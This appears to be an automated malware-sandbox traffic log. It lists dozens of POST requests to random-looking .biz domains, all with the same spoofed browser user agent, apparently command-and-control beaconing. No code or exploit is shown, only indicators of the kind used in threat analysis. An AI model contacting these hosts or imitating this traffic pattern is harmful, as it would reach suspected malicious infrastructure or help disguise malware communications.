Source: global traffic	HTTP traffic detected: POST /cahftjsoels HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792
Source: global traffic	HTTP traffic detected: POST /nafq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792
Source: global traffic	HTTP traffic detected: POST /bjvqnbwkkxebhk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /stcojqthrenppf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /gbbbebxx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /vatrkltejhvnocyx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: npukfztj.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /jkg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /qprvfvxthn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: przvgke.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /bn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /g HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /vjelbmrjrdasivud HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /oskjpuhhyjjgrpor HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lpuegx.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dlhkke HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /lsowwnafegrqlgyr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vjaxhpbji.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /yllrrd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: xlfhhhm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /fmbsitmsxd HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ifsaia.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /nrkvuwfbbmudeg HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: saytjshyf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /guwhxghdott HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /jeucdxkbfjx HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /lwehxoftdabhv HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: fwiwk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /m HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: tbjrpv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /syefsgspiwwwgt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: deoci.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dlcaaocksb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /afb HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gytujflc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /fmedrijjvr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qaynky.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /b HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: bumxkqgxu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /clfmdnt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /kxyxrjl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: nqwjmb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /bixuuichtxn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ytctnunms.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /vqftyarvq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /krbjifi HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: myups.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dkyuslowywlmqnqa HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oshhkdluh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /smymaayghjits HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /n HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yunalwv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ctyqtta HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jpskm.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /qxmvdf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lrxdmhrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /qreurouxjhhujdt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wllvnzb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /cmri HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gnqgo.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /lrnoivnqn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jhvzpcfg.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /auaskog HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: acwjcqqv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /fowjhr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vyome.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /dq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yauexmxk.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /mocdalayui HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: iuzpxe.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /epfkt HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: sxmiywsfv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /uffuoumnttxpy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vrrazpdh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /gqwbcjlstvkgaii HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ftxlah.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ckjdvpvsbbnlmdkq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: typgfhb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /jbmsamrvojavxlcj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: typgfhb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /kbxlxbiccltxu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: esuzf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /pnwiqbr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gvijgjwkh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /unwprm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qpnczch.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /hojjq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: qpnczch.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /mvntxvfsvcn HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: brsua.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /u HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dlynankz.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /nfu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oflybfv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /mkatgqdxmdo HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oflybfv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /hdmytgvjj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: yhqqc.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /ujmwq HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mnjmhp.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /pykblaurywsrgec HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: opowhhece.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /tccvualwjxprr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: opowhhece.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /fcvl HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jdhhbs.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /widaxait HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: mgmsclkyu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /i HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: warkcdu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /yw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: warkcdu.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /fciuwhwcgrnu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: gcedd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /xttnjxujchlik HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: jwkoeoqns.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
